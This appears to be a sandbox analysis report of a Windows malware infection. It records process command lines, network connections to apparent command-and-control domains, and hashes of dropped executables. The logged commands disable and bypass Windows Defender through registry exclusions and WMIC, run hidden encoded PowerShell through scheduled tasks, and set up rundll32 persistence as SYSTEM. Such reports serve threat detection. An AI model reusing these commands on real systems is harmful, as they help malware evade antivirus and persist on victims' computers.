"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gjYFwuviP" /SC once /ST 00:12:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gjYFwuviP"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gjYFwuviP"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:52:31 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\EHsXzWS.exe\" y7 /KNbldidMn 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WKALCIrwIEiqhKBsn"

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\EHsXzWS.exe

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\EHsXzWS.exe y7 /KNbldidMn 385118 /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3856 -ip 3856

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\zlXGGp.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

Network

Country Destination Domain Proto
GB 142.250.187.234:443 tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 145.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 147.45.47.70:80 147.45.47.70 tcp
US 8.8.8.8:53 70.47.45.147.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 roomabolishsnifftwk.shop udp
US 104.21.55.87:443 roomabolishsnifftwk.shop tcp
US 8.8.8.8:53 detailbaconroollyws.shop udp
US 172.67.193.11:443 detailbaconroollyws.shop tcp
US 8.8.8.8:53 87.55.21.104.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 11.193.67.172.in-addr.arpa udp
DE 23.88.106.134:80 23.88.106.134 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 134.106.88.23.in-addr.arpa udp
US 8.8.8.8:53 19.128.172.185.in-addr.arpa udp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 museumtespaceorsp.shop udp
US 104.21.32.80:443 museumtespaceorsp.shop tcp
US 8.8.8.8:53 80.32.21.104.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 judgecaption.hair udp
SE 194.54.164.123:80 judgecaption.hair tcp
US 8.8.8.8:53 123.164.54.194.in-addr.arpa udp
US 8.8.8.8:53 download.winzip.com udp
BE 2.17.107.128:443 download.winzip.com tcp
US 8.8.8.8:53 128.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 11.97.55.23.in-addr.arpa udp
US 8.8.8.8:53 www.installportal.com udp
US 50.112.27.9:443 www.installportal.com tcp
US 8.8.8.8:53 9.27.112.50.in-addr.arpa udp
DE 185.172.128.33:8970 tcp
RU 185.215.113.67:40960 tcp
US 8.8.8.8:53 33.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 67.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 yip.su udp
US 8.8.8.8:53 pastebin.com udp
US 104.21.79.77:443 yip.su tcp
US 104.20.4.235:443 pastebin.com tcp
DE 185.172.128.82:80 185.172.128.82 tcp
US 8.8.8.8:53 gigapub.ma udp
US 8.8.8.8:53 f000.backblazeb2.com udp
RU 5.42.66.47:80 5.42.66.47 tcp
US 8.8.8.8:53 free.360totalsecurity.com udp
RU 5.42.66.47:80 5.42.66.47 tcp
FR 51.75.247.100:443 gigapub.ma tcp
US 104.153.233.177:443 f000.backblazeb2.com tcp
NL 151.236.127.172:443 free.360totalsecurity.com tcp
US 8.8.8.8:53 77.79.21.104.in-addr.arpa udp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 82.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 47.66.42.5.in-addr.arpa udp
US 8.8.8.8:53 100.247.75.51.in-addr.arpa udp
US 8.8.8.8:53 172.127.236.151.in-addr.arpa udp
US 8.8.8.8:53 177.233.153.104.in-addr.arpa udp
IE 54.77.42.29:3478 udp
IE 54.77.42.29:3478 udp
US 104.21.235.69:443 tcp
DE 52.29.179.141:80 tcp
DE 52.29.179.141:80 tcp
US 8.8.8.8:53 udp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 141.179.29.52.in-addr.arpa udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
US 8.8.8.8:53 udp
IE 54.76.174.118:80 udp
US 8.8.8.8:53 int.down.360safe.com udp
DE 52.29.179.141:80 tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.21:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 8.8.8.8:53 sd.p.360safe.com udp
US 8.8.8.8:53 20.108.192.104.in-addr.arpa udp
US 8.8.8.8:53 21.108.192.104.in-addr.arpa udp
US 8.8.8.8:53 17.108.192.104.in-addr.arpa udp
US 8.8.8.8:53 100.55.164.18.in-addr.arpa udp
RU 5.42.65.67:48396 tcp
US 8.8.8.8:53 horsedwollfedrwos.shop udp
US 8.8.8.8:53 iplogger.com udp
RU 5.42.66.10:80 5.42.66.10 tcp
US 8.8.8.8:53 67.65.42.5.in-addr.arpa udp
US 8.8.8.8:53 api.myip.com udp
US 172.67.75.163:443 api.myip.com tcp
US 104.21.74.118:443 horsedwollfedrwos.shop tcp
US 8.8.8.8:53 ipinfo.io udp
US 172.67.188.178:443 iplogger.com tcp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 patternapplauderw.shop udp
US 172.67.174.208:443 patternapplauderw.shop tcp
US 8.8.8.8:53 10.66.42.5.in-addr.arpa udp
US 8.8.8.8:53 163.75.67.172.in-addr.arpa udp
US 8.8.8.8:53 118.74.21.104.in-addr.arpa udp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 178.188.67.172.in-addr.arpa udp
US 8.8.8.8:53 208.174.67.172.in-addr.arpa udp
US 172.67.218.187:443 tcp
US 8.8.8.8:53 averageaattractiionsl.shop udp
US 8.8.8.8:53 femininiespywageg.shop udp
US 104.21.71.3:443 femininiespywageg.shop tcp
US 104.21.85.81:443 tcp
US 8.8.8.8:53 3.71.21.104.in-addr.arpa udp
US 8.8.8.8:53 81.85.21.104.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 104.192.108.20:80 int.down.360safe.com tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 8.8.8.8:53 understanndtytonyguw.shop udp
US 104.21.22.94:443 understanndtytonyguw.shop tcp
US 8.8.8.8:53 94.22.21.104.in-addr.arpa udp
US 8.8.8.8:53 stalfbaclcalorieeis.shop udp
US 172.67.131.36:443 stalfbaclcalorieeis.shop tcp
US 8.8.8.8:53 36.131.67.172.in-addr.arpa udp
US 8.8.8.8:53 considerrycurrentyws.shop udp
US 104.21.28.32:443 considerrycurrentyws.shop tcp
US 8.8.8.8:53 messtimetabledkolvk.shop udp
US 104.21.8.238:443 messtimetabledkolvk.shop tcp
US 8.8.8.8:53 32.28.21.104.in-addr.arpa udp
US 8.8.8.8:53 238.8.21.104.in-addr.arpa udp
US 8.8.8.8:53 iili.io udp
US 104.21.235.69:443 iili.io tcp
US 104.192.108.21:80 int.down.360safe.com tcp
US 104.192.108.20:80 int.down.360safe.com tcp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
US 104.192.108.20:80 int.down.360safe.com tcp
US 8.8.8.8:53 civilianurinedtsraov.shop udp
US 104.21.49.245:443 civilianurinedtsraov.shop tcp
US 8.8.8.8:53 245.49.21.104.in-addr.arpa udp
US 104.21.62.60:443 averageaattractiionsl.shop tcp
US 104.192.108.17:80 int.down.360safe.com tcp
US 8.8.8.8:53 service-domain.xyz udp
US 54.210.117.250:443 service-domain.xyz tcp
US 8.8.8.8:53 250.117.210.54.in-addr.arpa udp
US 8.8.8.8:53 186.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.187.238:443 clients2.google.com tcp
US 8.8.8.8:53 202.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 238.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 172.217.16.225:443 clients2.googleusercontent.com tcp

Files

memory/3248-0-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/3248-1-0x00000000775C4000-0x00000000775C6000-memory.dmp

memory/3248-2-0x0000000000ED1000-0x0000000000EFF000-memory.dmp

memory/3248-3-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/3248-4-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/3248-6-0x0000000000ED0000-0x000000000137D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

MD5 611ee5d9f6a6491dc7ee3224ea68e77c
SHA1 309290b60e2b8c75d29f29e6884bcd6067c41cfd
SHA256 b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb
SHA512 9b546cd6f816e48c459937ad50c81d4efedd9bb5b53b4bb957277b920f177ae9a8dacfb961e1e4e3663673a8fc8a0201d4852bcdccc8f61a4a9394988ec39ef8

memory/3248-14-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/3248-15-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/4712-19-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3248-20-0x0000000000ED0000-0x000000000137D000-memory.dmp

memory/4712-21-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/4712-22-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/4712-23-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/4712-24-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3356-26-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3356-27-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3356-28-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3356-29-0x0000000000CE0000-0x000000000118D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

MD5 208bd37e8ead92ed1b933239fb3c7079
SHA1 941191eed14fce000cfedbae9acfcb8761eb3492
SHA256 e1fd277ffc74d67554adce94366e6fa5ebc81f8c4999634bcc3396164ba38494
SHA512 a9c3c32573a16b7ca71a12af6e8c8e88502b66bae2465a82dd921fbc6e0c833b9b1c2d436963df189dd9d68568e1be9128826a2e59f1d5fe066b637d2d866715

memory/4436-47-0x00000000001D0000-0x00000000001D1000-memory.dmp

memory/4312-46-0x0000000000400000-0x0000000000592000-memory.dmp

memory/4436-45-0x00000000001D0000-0x00000000001D1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

MD5 84bf36993bdd61d216e83fe391fcc7fd
SHA1 e023212e847a54328aaea05fbe41eb4828855ce6
SHA256 8e6d8b5a004c8f21bee1bbe4213c6d78cf80e439b38f587e963e9bb4569aaffa
SHA512 bb3241949618ad2d39057e085e150f43b4d41d74efc4658d9c27f8c0ec80420191517a2c0b6b7e225c4e50e02cd031cdfd178e05b9a869847a3c27b210d09caf

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

MD5 c4ffab152141150528716daa608d5b92
SHA1 a48d3aecc0e986b6c4369b9d4cfffb08b53aed89
SHA256 c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475
SHA512 a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

memory/4712-74-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/1504-84-0x00000000003E0000-0x00000000003E1000-memory.dmp

memory/4180-85-0x0000000000400000-0x0000000000455000-memory.dmp

memory/4180-83-0x0000000000400000-0x0000000000455000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

MD5 0b7e08a8268a6d413a322ff62d389bf9
SHA1 e04b849cc01779fe256744ad31562aca833a82c1
SHA256 d23a10b3ff0c565ea8ee7f54bcded0582e1e621ebad69d4523d6746f6d8e0e65
SHA512 3d226673e30bbbc27e0a5a6c64bf81eca475c697486b20141df7975bef97901d4865b88f41937f5e3dd00b437f24f91493f80cb69aa366b7a49cd17b26197ba4

memory/2236-104-0x0000000001500000-0x0000000001501000-memory.dmp

memory/2064-103-0x0000000000400000-0x0000000000459000-memory.dmp

memory/2064-105-0x0000000000400000-0x0000000000459000-memory.dmp

memory/720-102-0x00000000004E0000-0x0000000000532000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

MD5 05b11e7b711b4aaa512029ffcb529b5a
SHA1 a8074cf8a13f21617632951e008cdfdace73bb83
SHA256 2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa
SHA512 dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

memory/720-118-0x0000000005590000-0x0000000005B34000-memory.dmp

memory/3900-124-0x0000000002C40000-0x0000000002C41000-memory.dmp

memory/4440-123-0x0000000000400000-0x000000000063B000-memory.dmp

memory/4440-125-0x0000000000400000-0x000000000063B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

MD5 749073f260169957a61c1b432f666857
SHA1 bd7868f93e93c73fedd39f1a2877c474f4f9c37d
SHA256 2c8153f6f636f81331153a773085374ee43e599a141acfd005ae9834070fea45
SHA512 1a2a48c9081cb52d2b0a8bf83b3f4f699ca1145c31f65c3392fb0a5d71c796615f6ecca7e32a527b4b32953ddaab77d988c7c077c6691404cef5e5ddae818013

memory/4712-136-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5100-145-0x0000013C73060000-0x0000013C7306A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

MD5 0099a99f5ffb3c3ae78af0084136fab3
SHA1 0205a065728a9ec1133e8a372b1e3864df776e8c
SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA512 5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

memory/720-154-0x0000000004FE0000-0x0000000005072000-memory.dmp

memory/4712-166-0x0000000000CE0000-0x000000000118D000-memory.dmp

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe

MD5 816df4ac8c796b73a28159a0b17369b6
SHA1 db8bbb6f73fab9875de4aaa489c03665d2611558
SHA256 7843255bc50ddda8c651f51347313daf07e53a745d39cc61d708c6e7d79b3647
SHA512 7dd155346acf611ffaf6399408f6409146fd724d7d382c7e143e3921e3d109563c314a0367a378b0965e427470f36bf6d70e1586d695a266f34aebd789965285

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe

MD5 15a7cae61788e4718d3c33abb7be6436
SHA1 62dac3a5d50c93c51f2ab4a5ebf78837dc7d3a9f
SHA256 bed71147aa297d95d2e2c67352fc06f7f631af3b7871ea148638ae66fc41e200
SHA512 5b3e3028523e95452be169bdfb966cd03ea5dbe34b7b98cf7482ca91b8317a0f4de224751d5a530ec23e72cbd6cc8e414d2d3726fefee9c30feab69dc348fa45

memory/4712-182-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3560-186-0x0000000000D80000-0x0000000000DD2000-memory.dmp

memory/3456-187-0x0000000000750000-0x00000000007BC000-memory.dmp

memory/3560-188-0x00000000056B0000-0x00000000056BA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

MD5 17687f01ca5191c5e9dd733b30248ea2
SHA1 9b63db46a9d58b945dd9b850236ed8d4d7d3567a
SHA256 37b3035464123d188316fc8e7574f2e31768df08aca8e9dc2adceb41d34f2428
SHA512 d366482d520fb250de54441daa9744129e692c24faeec2e7dce071370cfeeb00b50ef10fe47a3d788d3c4a17719d6133420ab99c6384798ea2017dca6260eb3c

C:\Users\Admin\AppData\Local\Temp\TmpC985.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3808065738-1666277613-1125846146-1000\76b53b3ec448f7ccdda2063b15d2bfc3_2397ee06-28fe-4eaa-8777-f7014368c353

MD5 00d9459501f7de48b6bb7a0c25c2a217
SHA1 f5035f8d90d111dd7762c9c82ee5f8e5ffc28704
SHA256 06876a4a956b542fd035eeb471a3c83e54fa64ca252cf1055e764903b5fe4eb3
SHA512 f9ed22a808882007b19e4ea294241197e446d7e694f9abe10b052d2068f259e441d29bee8d8df9e088cde8e41e435910a84f77800ea6bc6d727c4706702a2d66

memory/720-303-0x0000000005BC0000-0x0000000005C36000-memory.dmp

memory/4712-304-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3560-305-0x0000000006C20000-0x0000000006C3E000-memory.dmp

C:\Users\Admin\Desktop\Microsoft Edge.lnk

MD5 457d08b85d38f730cba3485599dc2d6d
SHA1 e40473bd085607c93cc58f3d501d3e13afa02ca1
SHA256 f983a427734e3559a22f01000d58fda5590cf622d620d625a8aec3d86c1bf67a
SHA512 a1bb04f4735b9459f8017d4132e1d091e4aa65c923b98e712ab5897a4cdfe1fbcbb575c7efda908aa8fcacb11529369fa4fb2e1eae9d37f208bcddd6419cc90c

memory/3560-311-0x0000000007460000-0x0000000007A78000-memory.dmp

memory/720-312-0x0000000006750000-0x000000000685A000-memory.dmp

memory/3560-313-0x0000000006EF0000-0x0000000006F02000-memory.dmp

memory/3560-314-0x0000000006F50000-0x0000000006F8C000-memory.dmp

memory/3560-315-0x00000000070C0000-0x000000000710C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\e58caec\Load.html

MD5 1757c2d0841f85052f85d8d3cd03a827
SHA1 801b085330505bad85e7a5af69e6d15d962a7c3a
SHA256 3cf5674efaaf74beccd16d1b9bcf3ffb35c174d6d93375bc532b46d9b4b4ed35
SHA512 4a12a55aac846f137c18849302e74d34df70ea5aaff78d57fce05b4776bedcde9e1b1032734e29650bcbac3e6932dfef75d97931443446a23e21cf5b3072dd9a

C:\Users\Admin\AppData\Local\Temp\e58caec\common\js\jquery-1.11.2.min.js

MD5 5790ead7ad3ba27397aedfa3d263b867
SHA1 8130544c215fe5d1ec081d83461bf4a711e74882
SHA256 2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0
SHA512 781acedc99de4ce8d53d9b43a158c645eab1b23dfdfd6b57b3c442b11acc4a344e0d5b0067d4b78bb173abbded75fb91c410f2b5a58f71d438aa6266d048d98a

memory/5100-336-0x0000013C74DB0000-0x0000013C74DB6000-memory.dmp

memory/5100-337-0x0000013C75F20000-0x0000013C75F7C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\e58caec\pages\Initialization\page.html

